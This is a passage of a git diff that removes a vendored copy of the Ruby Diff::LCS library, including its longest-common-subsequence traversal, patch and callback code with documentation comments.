-      # <tt>callbacks#discard_a</tt> or <tt>callbacks#discard_b</tt>, depending
-      # on which arrow it advanced. If both arrows point to elements that are
-      # not part of the longest common subsequence, then #traverse_sequences
-      # will advance one of them and call the appropriate callback, but it is
-      # not specified which it will call.
-      #
-      # The methods for <tt>callbacks#match</tt>, <tt>callbacks#discard_a</tt>,
-      # and <tt>callbacks#discard_b</tt> are invoked with an event comprising
-      # the action ("=", "+", or "-", respectively), the indicies +ii+ and
-      # +jj+, and the elements <tt>A[ii]</tt> and <tt>B[jj]</tt>. Return
-      # values are discarded by #traverse_sequences.
-      #
-      # === End of Sequences
-      # If arrow +a+ reaches the end of its sequence before arrow +b+ does,
-      # #traverse_sequence try to call <tt>callbacks#finished_a</tt> with the
-      # last index and element of +A+ (<tt>A[-1]</tt>) and the current index
-      # and element of +B+ (<tt>B[jj]</tt>). If <tt>callbacks#finished_a</tt>
-      # does not exist, then <tt>callbacks#discard_b</tt> will be called on
-      # each element of +B+ until the end of the sequence is reached (the call
-      # will be done with <tt>A[-1]</tt> and <tt>B[jj]</tt> for each element).
-      #
-      # If +b+ reaches the end of +B+ before +a+ reaches the end of +A+,
-      # <tt>callbacks#finished_b</tt> will be called with the current index
-      # and element of +A+ (<tt>A[ii]</tt>) and the last index and element of
-      # +B+ (<tt>A[-1]</tt>). Again, if <tt>callbacks#finished_b</tt> does not
-      # exist on the callback object, then <tt>callbacks#discard_a</tt> will
-      # be called on each element of +A+ until the end of the sequence is
-      # reached (<tt>A[ii]</tt> and <tt>B[-1]</tt>).
-      #
-      # There is a chance that one additional <tt>callbacks#discard_a</tt> or
-      # <tt>callbacks#discard_b</tt> will be called after the end of the
-      # sequence is reached, if +a+ has not yet reached the end of +A+ or +b+
-      # has not yet reached the end of +B+.
-    def traverse_sequences(seq1, seq2, callbacks = Diff::LCS::SequenceCallbacks, &block) #:yields change events:
-      matches = Diff::LCS.__lcs(seq1, seq2)
-
-      run_finished_a = run_finished_b = false
-      string = seq1.kind_of?(String)
-
-      a_size = seq1.size
-      b_size = seq2.size
-      ai = bj = 0
-
-      (0 .. matches.size).each do |ii|
-        b_line = matches[ii]
-
-        ax = string ? seq1[ii, 1] : seq1[ii]
-        bx = string ? seq2[bj, 1] : seq2[bj]
-
-        if b_line.nil?
-          unless ax.nil?
-            event = Diff::LCS::ContextChange.new('-', ii, ax, bj, bx)
-            event = yield event if block_given?
-            callbacks.discard_a(event)
-          end
-        else
-          loop do
-            break unless bj < b_line
-            bx = string ? seq2[bj, 1] : seq2[bj]
-            event = Diff::LCS::ContextChange.new('+', ii, ax, bj, bx)
-            event = yield event if block_given?
-            callbacks.discard_b(event)
-            bj += 1
-          end
-          bx = string ? seq2[bj, 1] : seq2[bj]
-          event = Diff::LCS::ContextChange.new('=', ii, ax, bj, bx)
-          event = yield event if block_given?
-          callbacks.match(event)
-          bj += 1
-        end
-        ai = ii
-      end
-      ai += 1
-
-        # The last entry (if any) processed was a match. +ai+ and +bj+ point
-        # just past the last matching lines in their sequences.
-      while (ai < a_size) or (bj < b_size)
-          # last A?
-        if ai == a_size and bj < b_size
-          if callbacks.respond_to?(:finished_a) and not run_finished_a
-            ax = string ? seq1[-1, 1] : seq1[-1]
-            bx = string ? seq2[bj, 1] : seq2[bj]
-            event = Diff::LCS::ContextChange.new('>', (a_size - 1), ax, bj, bx)
-            event = yield event if block_given?
-            callbacks.finished_a(event)
-            run_finished_a = true
-          else
-            ax = string ? seq1[ai, 1] : seq1[ai]
-            loop do
-              bx = string ? seq2[bj, 1] : seq2[bj]
-              event = Diff::LCS::ContextChange.new('+', ai, ax, bj, bx)
-              event = yield event if block_given?
-              callbacks.discard_b(event)
-              bj += 1
-              break unless bj < b_size
-            end
-          end
-        end
-
-          # last B?
-        if bj == b_size and ai < a_size
-          if callbacks.respond_to?(:finished_b) and not run_finished_b
-            ax = string ? seq1[ai, 1] : seq1[ai]
-            bx = string ? seq2[-1, 1] : seq2[-1]
-            event = Diff::LCS::ContextChange.new('<', ai, ax, (b_size - 1), bx)
-            event = yield event if block_given?
-            callbacks.finished_b(event)
-            run_finished_b = true
-          else
-            bx = string ? seq2[bj, 1] : seq2[bj]
-            loop do
-              ax = string ? seq1[ai, 1] : seq1[ai]
-              event = Diff::LCS::ContextChange.new('-', ai, ax, bj, bx)
-              event = yield event if block_given?
-              callbacks.discard_a(event)
-              ai += 1
-              break unless bj < b_size
-            end
-          end
-        end
-
-        if ai < a_size
-          ax = string ? seq1[ai, 1] : seq1[ai]
-          bx = string ? seq2[bj, 1] : seq2[bj]
-          event = Diff::LCS::ContextChange.new('-', ai, ax, bj, bx)
-          event = yield event if block_given?
-          callbacks.discard_a(event)
-          ai += 1
-        end
-
-        if bj < b_size
-          ax = string ? seq1[ai, 1] : seq1[ai]
-          bx = string ? seq2[bj, 1] : seq2[bj]
-          event = Diff::LCS::ContextChange.new('+', ai, ax, bj, bx)
-          event = yield event if block_given?
-          callbacks.discard_b(event)
-          bj += 1
-        end
-      end
-    end
-
-      # #traverse_balanced is an alternative to #traverse_sequences. It
-      # uses a different algorithm to iterate through the entries in the
-      # computed longest common subsequence. Instead of viewing the changes as
-      # insertions or deletions from one of the sequences, #traverse_balanced
-      # will report <em>changes</em> between the sequences. To represent a
-      #
-      # The arguments to #traverse_balanced are the two sequences to traverse
-      # and a callback object, like this:
-      #
-      #   traverse_balanced(seq1, seq2, Diff::LCS::ContextDiffCallbacks.new)
-      #
-      # #sdiff is implemented with #traverse_balanced.
-      #
-      # == Callback Methods
-      # Optional callback methods are <em>emphasized</em>.
-      #
-      # callbacks#match::               Called when +a+ and +b+ are pointing
-      #                                 to common elements in +A+ and +B+.
-      # callbacks#discard_a::           Called when +a+ is pointing to an
-      #                                 element not in +B+.
-      # callbacks#discard_b::           Called when +b+ is pointing to an
-      #                                 element not in +A+.
-      # <em>callbacks#change</em>::     Called when +a+ and +b+ are pointing
-      #                                 to the same relative position, but
-      #                                 <tt>A[a]</tt> and <tt>B[b]</tt> are
-      #                                 not the same; a <em>change</em> has
-      #                                 occurred.
-      #
-      # #traverse_balanced might be a bit slower than #traverse_sequences,
-      # noticable only while processing huge amounts of data.
-      #
-      # The +sdiff+ function of this module is implemented as call to
-      # #traverse_balanced.
-      #
-      # == Algorithm
-      #       a---+
-      #           v
-      #       A = a b c e h j l m n p
-      #       B = b c d e f j k l m r s t
-      #           ^
-      #       b---+
-      #
-      # === Matches
-      # If there are two arrows (+a+ and +b+) pointing to elements of
-      # sequences +A+ and +B+, the arrows will initially point to the first
-      # elements of their respective sequences. #traverse_sequences will
-      # advance the arrows through the sequences one element at a time,
-      # calling a method on the user-specified callback object before each
-      # advance. It will advance the arrows in such a way that if there are
-      # elements <tt>A[ii]</tt> and <tt>B[jj]</tt> which are both equal and
-      # part of the longest common subsequence, there will be some moment
-      # during the execution of #traverse_sequences when arrow +a+ is pointing
-      # to <tt>A[ii]</tt> and arrow +b+ is pointing to <tt>B[jj]</tt>. When
-      # this happens, #traverse_sequences will call <tt>callbacks#match</tt>
-      # and then it will advance both arrows.
-      #
-      # === Discards
-      # Otherwise, one of the arrows is pointing to an element of its sequence
-      # that is not part of the longest common subsequence.
-      # #traverse_sequences will advance that arrow and will call
-      # <tt>callbacks#discard_a</tt> or <tt>callbacks#discard_b</tt>,
-      # depending on which arrow it advanced.
-      #
-      # === Changes
-      # If both +a+ and +b+ point to elements that are not part of the longest
-      # common subsequence, then #traverse_sequences will try to call
-      # <tt>callbacks#change</tt> and advance both arrows. If
-      # <tt>callbacks#change</tt> is not implemented, then
-      # <tt>callbacks#discard_a</tt> and <tt>callbacks#discard_b</tt> will be
-      # called in turn.
-      #
-      # The methods for <tt>callbacks#match</tt>, <tt>callbacks#discard_a</tt>,
-      # <tt>callbacks#discard_b</tt>, and <tt>callbacks#change</tt> are
-      # invoked with an event comprising the action ("=", "+", "-", or "!",
-      # respectively), the indicies +ii+ and +jj+, and the elements
-      # <tt>A[ii]</tt> and <tt>B[jj]</tt>. Return values are discarded by
-      # #traverse_balanced.
-      #
-      # === Context
-      # Note that +ii+ and +jj+ may not be the same index position, even if
-      # +a+ and +b+ are considered to be pointing to matching or changed
-      # elements.
-    def traverse_balanced(seq1, seq2, callbacks = Diff::LCS::BalancedCallbacks)
-      matches = Diff::LCS.__lcs(seq1, seq2)
-      a_size = seq1.size
-      b_size = seq2.size
-      ai = bj = mb = 0
-      ma = -1
-      string = seq1.kind_of?(String)
-
-        # Process all the lines in the match vector.
-      loop do
-          # Find next match indices +ma+ and +mb+
-        loop do
-          ma += 1
-          break unless ma < matches.size and matches[ma].nil?
-        end
-
-        break if ma >= matches.size # end of matches?
-        mb = matches[ma]
-
-          # Change(seq2)
-        while (ai < ma) or (bj < mb)
-          ax = string ? seq1[ai, 1] : seq1[ai]
-          bx = string ? seq2[bj, 1] : seq2[bj]
-
-          case [(ai < ma), (bj < mb)]
-          when [true, true]
-            if callbacks.respond_to?(:change)
-              event = Diff::LCS::ContextChange.new('!', ai, ax, bj, bx)
-              event = yield event if block_given?
-              callbacks.change(event)
-              ai += 1
-              bj += 1
-            else
-              event = Diff::LCS::ContextChange.new('-', ai, ax, bj, bx)
-              event = yield event if block_given?
-              callbacks.discard_a(event)
-              ai += 1
-              ax = string ? seq1[ai, 1] : seq1[ai]
-              event = Diff::LCS::ContextChange.new('+', ai, ax, bj, bx)
-              event = yield event if block_given?
-              callbacks.discard_b(event)
-              bj += 1
-            end
-          when [true, false]
-            event = Diff::LCS::ContextChange.new('-', ai, ax, bj, bx)
-            event = yield event if block_given?
-            callbacks.discard_a(event)
-            ai += 1
-          when [false, true]
-            event = Diff::LCS::ContextChange.new('+', ai, ax, bj, bx)
-            event = yield event if block_given?
-            callbacks.discard_b(event)
-            bj += 1
-          end
-        end
-
-          # Match
-        ax = string ? seq1[ai, 1] : seq1[ai]
-        bx = string ? seq2[bj, 1] : seq2[bj]
-        event = Diff::LCS::ContextChange.new('=', ai, ax, bj, bx)
-        event = yield event if block_given?
-        callbacks.match(event)
-        ai += 1
-        bj += 1
-      end
-
-      while (ai < a_size) or (bj < b_size)
-        ax = string ? seq1[ai, 1] : seq1[ai]
-        bx = string ? seq2[bj, 1] : seq2[bj]
-
-        case [(ai < a_size), (bj < b_size)]
-        when [true, true]
-          if callbacks.respond_to?(:change)
-            event = Diff::LCS::ContextChange.new('!', ai, ax, bj, bx)
-            event = yield event if block_given?
-            callbacks.change(event)
-            ai += 1
-            bj += 1
-          else
-            event = Diff::LCS::ContextChange.new('-', ai, ax, bj, bx)
-            event = yield event if block_given?
-            callbacks.discard_a(event)
-            ai += 1
-            ax = string ? seq1[ai, 1] : seq1[ai]
-            event = Diff::LCS::ContextChange.new('+', ai, ax, bj, bx)
-            event = yield event if block_given?
-            callbacks.discard_b(event)
-            bj += 1
-          end
-        when [true, false]
-          event = Diff::LCS::ContextChange.new('-', ai, ax, bj, bx)
-          event = yield event if block_given?
-          callbacks.discard_a(event)
-          ai += 1
-        when [false, true]
-          event = Diff::LCS::ContextChange.new('+', ai, ax, bj, bx)
-          event = yield event if block_given?
-          callbacks.discard_b(event)
-          bj += 1
-        end
-      end
-    end
-
-    PATCH_MAP = { #:nodoc:
-      :patch => { '+' => '+', '-' => '-', '!' => '!', '=' => '=' },
-      :unpatch => { '+' => '-', '-' => '+', '!' => '!', '=' => '=' }
-    }
-
-      # Given a patchset, convert the current version to the new
-      # version. If +direction+ is not specified (must be
-      # <tt>:patch</tt> or <tt>:unpatch</tt>), then discovery of the
-      # direction of the patch will be attempted.
-    def patch(src, patchset, direction = nil)
-      string = src.kind_of?(String)
-        # Start with a new empty type of the source's class
-      res = src.class.new
-
-        # Normalize the patchset.
-      patchset = __normalize_patchset(patchset)
-
-      direction ||= Diff::LCS.__diff_direction(src, patchset)
-      direction ||= :patch
-
-      ai = bj = 0
-
-      patchset.each do |change|
-          # Both Change and ContextChange support #action
-        action = PATCH_MAP[direction][change.action]
-
-        case change
-        when Diff::LCS::ContextChange
-          case direction
-          when :patch
-            el = change.new_element
-            op = change.old_position
-            np = change.new_position
-          when :unpatch
-            el = change.old_element
-            op = change.new_position
-            np = change.old_position
-          end
-
-          case action
-          when '-' # Remove details from the old string
-            while ai < op
-              res << (string ? src[ai, 1] : src[ai])
-              ai += 1
-              bj += 1
-            end
-            ai += 1
-          when '+'
-            while bj < np
-              res << (string ? src[ai, 1] : src[ai])
-              ai += 1
-              bj += 1
-            end
-
-            res << el
-            bj += 1
-          when '='
-              # This only appears in sdiff output with the SDiff callback.
-              # Therefore, we only need to worry about dealing with a single
-              # element.
-            res << el
-
-            ai += 1
-            bj += 1
-          when '!'
-            while ai < op
-              res << (string ? src[ai, 1] : src[ai])
-              ai += 1
-              bj += 1
-            end
-
-            bj += 1
-            ai += 1
-
-            res << el
-          end
-        when Diff::LCS::Change
-          case action
-          when '-'
-            while ai < change.position
-              res << (string ? src[ai, 1] : src[ai])
-              ai += 1
-              bj += 1
-            end
-            ai += 1
-          when '+'
-            while bj < change.position
-              res << (string ? src[ai, 1] : src[ai])
-              ai += 1
-              bj += 1
-            end
-
-            bj += 1
-
-            res << change.element
-          end
-        end
-      end
-
-      while ai < src.size
-        res << (string ? src[ai, 1] : src[ai])
-        ai += 1
-        bj += 1
-      end
-
-      res
-    end
-
-      # Given a set of patchset, convert the current version to the prior
-      # version. Does no auto-discovery.
-    def unpatch!(src, patchset)
-      Diff::LCS.patch(src, patchset, :unpatch)
-    end
-
-      # Given a set of patchset, convert the current version to the next
-      # version. Does no auto-discovery.
-    def patch!(src, patchset)
-      Diff::LCS.patch(src, patchset, :patch)
-    end
-
-# private
-      # Compute the longest common subsequence between the sequenced Enumerables
-      # +a+ and +b+. The result is an array whose contents is such that
-      #
-      #     result = Diff::LCS.__lcs(a, b)
-      #     result.each_with_index do |e, ii|
-      #       assert_equal(a[ii], b[e]) unless e.nil?
-      #     end
-    def __lcs(a, b)
-      a_start = b_start = 0
-      a_finish = a.size - 1
-      b_finish = b.size - 1
-      vector = []
-
-        # Prune off any common elements at the beginning...
-      while (a_start <= a_finish) and
-            (b_start <= b_finish) and
-            (a[a_start] == b[b_start])
-        vector[a_start] = b_start
-        a_start += 1
-        b_start += 1
-      end
-
-        # Now the end...
-      while (a_start <= a_finish) and
-            (b_start <= b_finish) and
-            (a[a_finish] == b[b_finish])
-        vector[a_finish] = b_finish
-        a_finish -= 1
-        b_finish -= 1
-      end
-
-        # Now, compute the equivalence classes of positions of elements.
-      b_matches = Diff::LCS.__position_hash(b, b_start .. b_finish)
-
-      thresh = []
-      links = []
-
-      (a_start .. a_finish).each do |ii|
-        ai = a.kind_of?(String) ? a[ii, 1] : a[ii]
-        bm = b_matches[ai]
-        kk = nil
-        bm.reverse_each do |jj|
-          if kk and (thresh[kk] > jj) and (thresh[kk - 1] < jj)
-            thresh[kk] = jj
-          else
-            kk = Diff::LCS.__replace_next_larger(thresh, jj, kk)
-          end
-          links[kk] = [ (kk > 0) ? links[kk - 1] : nil, ii, jj ] unless kk.nil?
-        end
-      end
-
-      unless thresh.empty?
-        link = links[thresh.size - 1]
-        while not link.nil?
-          vector[link[1]] = link[2]
-          link = link[0]
-        end
-      end
-
-      vector
-    end
-
-      # Find the place at which +value+ would normally be inserted into the
-      # Enumerable. If that place is already occupied by +value+, do nothing
-      # and return +nil+. If the place does not exist (i.e., it is off the end
-      # of the Enumerable), add it to the end. Otherwise, replace the element
-      # at that point with +value+. It is assumed that the Enumerable's values
-      # are numeric.
-      #
-      # This operation preserves the sort order.
-    def __replace_next_larger(enum, value, last_index = nil)
-        # Off the end?
-      if enum.empty? or (value > enum[-1])
-        enum << value
-        return enum.size - 1
-      end
-
-        # Binary search for the insertion point
-      last_index ||= enum.size
-      first_index = 0
-      while (first_index <= last_index)
-        ii = (first_index + last_index) >> 1
-
-        found = enum[ii]
-
-        if value == found
-          return nil
-        elsif value > found
-          first_index = ii + 1
-        else
-          last_index = ii - 1
-        end
-      end
-
-        # The insertion point is in first_index; overwrite the next larger
-        # value.
-      enum[first_index] = value
-      return first_index
-    end
-
-      # If +vector+ maps the matching elements of another collection onto this
-      # Enumerable, compute the inverse +vector+ that maps this Enumerable
-      # onto the collection. (Currently unused.)
-    def __inverse_vector(a, vector)
-      inverse = a.dup
-      (0 ... vector.size).each do |ii|
-        inverse[vector[ii]] = ii unless vector[ii].nil?
-      end
-      inverse
-    end
-
-      # Returns a hash mapping each element of an Enumerable to the set of
-      # positions it occupies in the Enumerable, optionally restricted to the
-      # elements specified in the range of indexes specified by +interval+.
-    def __position_hash(enum, interval = 0 .. -1)
-      hash = Hash.new { |hh, kk| hh[kk] = [] }
-      interval.each do |ii|
-        kk = enum.kind_of?(String) ? enum[ii, 1] : enum[ii]
-        hash[kk] << ii
-      end
-      hash
-    end
-
-      # Examine the patchset and the source to see in which direction the
-      # patch should be applied.
-      #
-      # WARNING: By default, this examines the whole patch, so this could take
-      # some time. This also works better with Diff::LCS::ContextChange or
-      # Diff::LCS::Change as its source, as an array will cause the creation
-      # of one of the above.
-    def __diff_direction(src, patchset, limit = nil)
-      count = left = left_miss = right = right_miss = 0
-      string = src.kind_of?(String)
-
-      patchset.each do |change|
-        count += 1
-
-        case change
-        when Diff::LCS::Change
-            # With a simplistic change, we can't tell the difference between
-            # the left and right on '!' actions, so we ignore those. On '='
-            # actions, if there's a miss, we miss both left and right.
-          element = string ? src[change.position, 1] : src[change.position]
-
-          case change.action
-          when '-'
-            if element == change.element
-              left += 1
-            else
-              left_miss += 1
-            end
-          when '+'
-            if element == change.element
-              right += 1
-            else
-              right_miss += 1
-            end
-          when '='
-            if element != change.element
-              left_miss += 1
-              right_miss += 1
-            end
-          end
-        when Diff::LCS::ContextChange
-          case change.action
-          when '-' # Remove details from the old string
-            element = string ? src[change.old_position, 1] : src[change.old_position]
-            if element == change.old_element
-              left += 1
-            else
-              left_miss += 1
-            end
-          when '+'
-            element = string ? src[change.new_position, 1] : src[change.new_position]
-            if element == change.new_element
-              right += 1
-            else
-              right_miss += 1
-            end
-          when '='
-            le = string ? src[change.old_position, 1] : src[change.old_position]
-            re = string ? src[change.new_position, 1] : src[change.new_position]
-
-            left_miss += 1 if le != change.old_element
-            right_miss += 1 if re != change.new_element
-          when '!'
-            element = string ? src[change.old_position, 1] : src[change.old_position]
-            if element == change.old_element
-              left += 1
-            else
-              element = string ? src[change.new_position, 1] : src[change.new_position]
-              if element == change.new_element
-                right += 1
-              else
-                left_miss += 1
-                right_miss += 1
-              end
-            end
-          end
-        end
-
-        break if not limit.nil? and count > limit
-      end
-
-      no_left = (left == 0) and (left_miss >= 0)
-      no_right = (right == 0) and (right_miss >= 0)
-
-      case [no_left, no_right]
-      when [false, true]
-        return :patch
-      when [true, false]
-        return :unpatch
-      else
-        raise "The provided patchset does not appear to apply to the provided value as either source or destination value."
-      end
-    end
-
-      # Normalize the patchset. A patchset is always a sequence of changes, but
-      # how those changes are represented may vary, depending on how they were
-      # generated. In all cases we support, we also support the array
-      # representation of the changes. The formats are:
-      #
-      #   [ # patchset <- Diff::LCS.diff(a, b)
-      #     [ # one or more hunks
-      #       Diff::LCS::Change # one or more changes
-      #     ] ]
-      #
-      #   [ # patchset, equivalent to the above
-      #     [ # one or more hunks
-      #       [ action, line, value ] # one or more changes
-      #     ] ]
-      #
-      #   [ # patchset <- Diff::LCS.diff(a, b, Diff::LCS::ContextDiffCallbacks)
-      #     #       OR <- Diff::LCS.sdiff(a, b, Diff::LCS::ContextDiffCallbacks)
-      #     [ # one or more hunks
-      #       Diff::LCS::ContextChange # one or more changes
-      #     ] ]
-      #
-      #   [ # patchset, equivalent to the above
-      #     [ # one or more hunks
-      #       [ action, [ old line, old value ], [ new line, new value ] ]
-      #         # one or more changes
-      #     ] ]
-      #
-      #   [ # patchset <- Diff::LCS.sdiff(a, b)
-      #     #       OR <- Diff::LCS.diff(a, b, Diff::LCS::SDiffCallbacks)
-      #     Diff::LCS::ContextChange # one or more changes
-      #   ]
-      #
-      #   [ # patchset, equivalent to the above
-      #     [ action, [ old line, old value ], [ new line, new value ] ]
-      #       # one or more changes
-      #   ]
-      #
-      # The result of this will be either of the following.
-      #
-      #   [ # patchset
-      #     Diff::LCS::ContextChange # one or more changes
-      #   ]
-      #
-      #   [ # patchset
-      #     Diff::LCS::Change # one or more changes
-      #   ]
-      #
-      # If either of the above is provided, it will be returned as such.
-      #
-    def __normalize_patchset(patchset)
-      patchset.map do |hunk|
-        case hunk
-        when Diff::LCS::ContextChange, Diff::LCS::Change
-          hunk
-        when Array
-          if (not hunk[0].kind_of?(Array)) and hunk[1].kind_of?(Array) and hunk[2].kind_of?(Array)
-            Diff::LCS::ContextChange.from_a(hunk)
-          else
-            hunk.map do |change|
-              case change
-              when Diff::LCS::ContextChange, Diff::LCS::Change
-                change
-              when Array
-                  # change[1] will ONLY be an array in a ContextChange#to_a call.
-                  # In Change#to_a, it represents the line (singular).
-                if change[1].kind_of?(Array)
-                  Diff::LCS::ContextChange.from_a(change)
-                else
-                  Diff::LCS::Change.from_a(change)
-                end
-              end
-            end
-          end
-        else
-          raise ArgumentError, "Cannot normalise a hunk of class #{hunk.class}."
-        end
-      end.flatten
-    end
-  end
-end
diff --git a/vendor/plugins/diff/lib/diff/lcs/array.rb b/vendor/plugins/diff/lib/diff/lcs/array.rb
deleted file mode 100644
index 34bf1cb1..00000000
--- a/vendor/plugins/diff/lib/diff/lcs/array.rb
+++ /dev/null
@@ -1,21 +0,0 @@
-#! /usr/env/bin ruby
-#--
-# Copyright 2004 Austin Ziegler <diff-lcs@halostatue.ca>
-#   adapted from:
-#     Algorithm::Diff (Perl) by Ned Konz <perl@bike-nomad.com>
-#     Smalltalk by Mario I. Wolczko <mario@wolczko.com>
-#   implements McIlroy-Hunt diff algorithm
-#
-# This program is free software. It may be redistributed and/or modified under
-# the terms of the GPL version 2 (or later), the Perl Artistic licence, or the
-# Ruby licence.
-# 
-# $Id: array.rb,v 1.3 2004/08/08 20:33:09 austin Exp $
-#++
-# Includes Diff::LCS into the Array built-in class.
-
-require 'diff/lcs'
-
-class Array
-  include Diff::LCS
-end
diff --git a/vendor/plugins/diff/lib/diff/lcs/block.rb b/vendor/plugins/diff/lib/diff/lcs/block.rb
deleted file mode 100644
index 20ecce3b..00000000
--- a/vendor/plugins/diff/lib/diff/lcs/block.rb
+++ /dev/null
@@ -1,51 +0,0 @@
-#! /usr/env/bin ruby
-#--
-# Copyright 2004 Austin Ziegler <diff-lcs@halostatue.ca>
-#   adapted from:
-#     Algorithm::Diff (Perl) by Ned Konz <perl@bike-nomad.com>
-#     Smalltalk by Mario I. Wolczko <mario@wolczko.com>
-#   implements McIlroy-Hunt diff algorithm
-#
-# This program is free software. It may be redistributed and/or modified under
-# the terms of the GPL version 2 (or later), the Perl Artistic licence, or the
-# Ruby licence.
-# 
-# $Id: block.rb,v 1.3 2004/08/08 20:33:09 austin Exp $
-#++
-# Contains Diff::LCS::Block for bin/ldiff.
-
-  # A block is an operation removing, adding, or changing a group of items.
-  # Basically, this is just a list of changes, where each change adds or
-  # deletes a single item. Used by bin/ldiff.
-class Diff::LCS::Block
-  attr_reader :changes, :insert, :remove
-
-  def initialize(chunk)
-    @changes = []
-    @insert = []
-    @remove = []
-
-    chunk.each do |item|
-      @changes << item
-      @remove << item if item.deleting?
-      @insert << item if item.adding?
-    end
-  end
-
-  def diff_size
-    @insert.size - @remove.size
-  end
-
-  def op
-    case [@remove.empty?, @insert.empty?]
-    when [false, false]
-      '!'
-    when [false, true]
-      '-'
-    when [true, false]
-      '+'
-    else # [true, true]
-      '^'
-    end
-  end
-end
diff --git a/vendor/plugins/diff/lib/diff/lcs/callbacks.rb b/vendor/plugins/diff/lib/diff/lcs/callbacks.rb
deleted file mode 100644
index 4c3e40e1..00000000
--- a/vendor/plugins/diff/lib/diff/lcs/callbacks.rb
+++ /dev/null
@@ -1,322 +0,0 @@
-#! /usr/env/bin ruby
-#--
-# Copyright 2004 Austin Ziegler <diff-lcs@halostatue.ca>
-#   adapted from:
-#     Algorithm::Diff (Perl) by Ned Konz <perl@bike-nomad.com>
-#     Smalltalk by Mario I. Wolczko <mario@wolczko.com>
-#   implements McIlroy-Hunt diff algorithm
-#
-# This program is free software. It may be redistributed and/or modified under
-# the terms of the GPL version 2 (or later), the Perl Artistic licence, or the
-# Ruby licence.
-# 
-# $Id: callbacks.rb,v 1.4 2004/09/14 18:51:26 austin Exp $
-#++
-# Contains definitions for all default callback objects.
-
-require 'diff/lcs/change'
-
-module Diff::LCS
-    # This callback object implements the default set of callback events, which
-    # only returns the event itself. Note that #finished_a and #finished_b are
-    # not implemented -- I haven't yet figured out where they would be useful.
-    #
-    # Note that this is intended to be called as is, e.g.,
-    #
-    #     Diff::LCS.LCS(seq1, seq2, Diff::LCS::DefaultCallbacks)
-  class DefaultCallbacks
-    class << self
-        # Called when two items match.
-      def match(event)
-        event
-      end
-        # Called when the old value is discarded in favour of the new value.
-      def discard_a(event)
-        event
-      end
-        # Called when the new value is discarded in favour of the old value.
-      def discard_b(event)
-        event
-      end
-        # Called when both the old and new values have changed.
-      def change(event)
-        event
-      end
-
-      private :new
-    end
-  end
-
-    # An alias for DefaultCallbacks that is used in Diff::LCS#traverse_sequences.
-    #
-    #     Diff::LCS.LCS(seq1, seq2, Diff::LCS::SequenceCallbacks)
-  SequenceCallbacks = DefaultCallbacks
-    # An alias for DefaultCallbacks that is used in Diff::LCS#traverse_balanced.
-    #
-    #     Diff::LCS.LCS(seq1, seq2, Diff::LCS::BalancedCallbacks)
-  BalancedCallbacks = DefaultCallbacks
-end
-
-  # This will produce a compound array of simple diff change objects. Each
-  # element in the #diffs array is a +hunk+ or +hunk+ array, where each
-  # element in each +hunk+ array is a single Change object representing the
-  # addition or removal of a single element from one of the two tested
-  # sequences. The +hunk+ provides the full context for the changes.
-  #
-  #     diffs = Diff::LCS.diff(seq1, seq2)
-  #       # This example shows a simplified array format.
-  #       # [ [ [ '-',  0, 'a' ] ],   # 1
-  #       #   [ [ '+',  2, 'd' ] ],   # 2
-  #       #   [ [ '-',  4, 'h' ],     # 3
-  #       #     [ '+',  4, 'f' ] ],
-  #       #   [ [ '+',  6, 'k' ] ],   # 4
-  #       #   [ [ '-',  8, 'n' ],     # 5
-  #       #     [ '-',  9, 'p' ],
-  #       #     [ '+',  9, 'r' ],
-  #       #     [ '+', 10, 's' ],
-  #       #     [ '+', 11, 't' ] ] ]
-  #
-  # There are five hunks here. The first hunk says that the +a+ at position 0
-  # of the first sequence should be deleted (<tt>'-'</tt>). The second hunk
-  # says that the +d+ at position 2 of the second sequence should be inserted
-  # (<tt>'+'</tt>). The third hunk says that the +h+ at position 4 of the
-  # first sequence should be removed and replaced with the +f+ from position 4
-  # of the second sequence. The other two hunks are described similarly.
-  #
-  # === Use
-  # This callback object must be initialised and is used by the Diff::LCS#diff
-  # method.
-  #
-  #     cbo = Diff::LCS::DiffCallbacks.new
-  #     Diff::LCS.LCS(seq1, seq2, cbo)
-  #     cbo.finish
-  #
-  # Note that the call to #finish is absolutely necessary, or the last set of
-  # changes will not be visible. Alternatively, can be used as:
-  #
-  #     cbo = Diff::LCS::DiffCallbacks.new { |tcbo| Diff::LCS.LCS(seq1, seq2, tcbo) }
-  #
-  # The necessary #finish call will be made.
-  #
-  # === Simplified Array Format
-  # The simplified array format used in the example above can be obtained
-  # with:
-  #
-  #     require 'pp'
-  #     pp diffs.map { |e| e.map { |f| f.to_a } }
-class Diff::LCS::DiffCallbacks
-    # Returns the difference set collected during the diff process.
-  attr_reader :diffs
-
-  def initialize # :yields self:
-    @hunk = []
-    @diffs = []
-
-    if block_given?
-      begin
-        yield self
-      ensure
-        self.finish
-      end
-    end
-  end
-
-    # Finalizes the diff process. If an unprocessed hunk still exists, then it
-    # is appended to the diff list.
-  def finish
-    add_nonempty_hunk
-  end
-
-  def match(event)
-    add_nonempty_hunk
-  end
-
-  def discard_a(event)
-    @hunk << Diff::LCS::Change.new('-', event.old_position, event.old_element)
-  end
-
-  def discard_b(event)
-    @hunk << Diff::LCS::Change.new('+', event.new_position, event.new_element)
-  end
-
-private
-  def add_nonempty_hunk
-    @diffs << @hunk unless @hunk.empty?
-    @hunk = []
-  end
-end
-
-  # This will produce a compound array of contextual diff change objects. Each
-  # element in the #diffs array is a "hunk" array, where each element in each
-  # "hunk" array is a single change. Each change is a Diff::LCS::ContextChange
-  # that contains both the old index and new index values for the change. The
-  # "hunk" provides the full context for the changes. Both old and new objects
-  # will be presented for changed objects. +nil+ will be substituted for a
-  # discarded object.
-  #
-  #     seq1 = %w(a b c e h j l m n p)
-  #     seq2 = %w(b c d e f j k l m r s t)
-  #
-  #     diffs = Diff::LCS.diff(seq1, seq2, Diff::LCS::ContextDiffCallbacks)
-  #       # This example shows a simplified array format.
-  #       # [ [ [ '-', [  0, 'a' ], [  0, nil ] ] ],   # 1
-  #       #   [ [ '+', [  3, nil ], [  2, 'd' ] ] ],   # 2
-  #       #   [ [ '-', [  4, 'h' ], [  4, nil ] ],     # 3
-  #       #     [ '+', [  5, nil ], [  4, 'f' ] ] ],
-  #       #   [ [ '+', [  6, nil ], [  6, 'k' ] ] ],   # 4
-  #       #   [ [ '-', [  8, 'n' ], [  9, nil ] ],     # 5
-  #       #     [ '+', [  9, nil ], [  9, 'r' ] ],
-  #       #     [ '-', [  9, 'p' ], [ 10, nil ] ],
-  #       #     [ '+', [ 10, nil ], [ 10, 's' ] ],
-  #       #     [ '+', [ 10, nil ], [ 11, 't' ] ] ] ]
-  #
-  # The five hunks shown are comprised of individual changes; if there is a
-  # related set of changes, they are still shown individually.
-  #
-  # This callback can also be used with Diff::LCS#sdiff, which will produce
-  # results like:
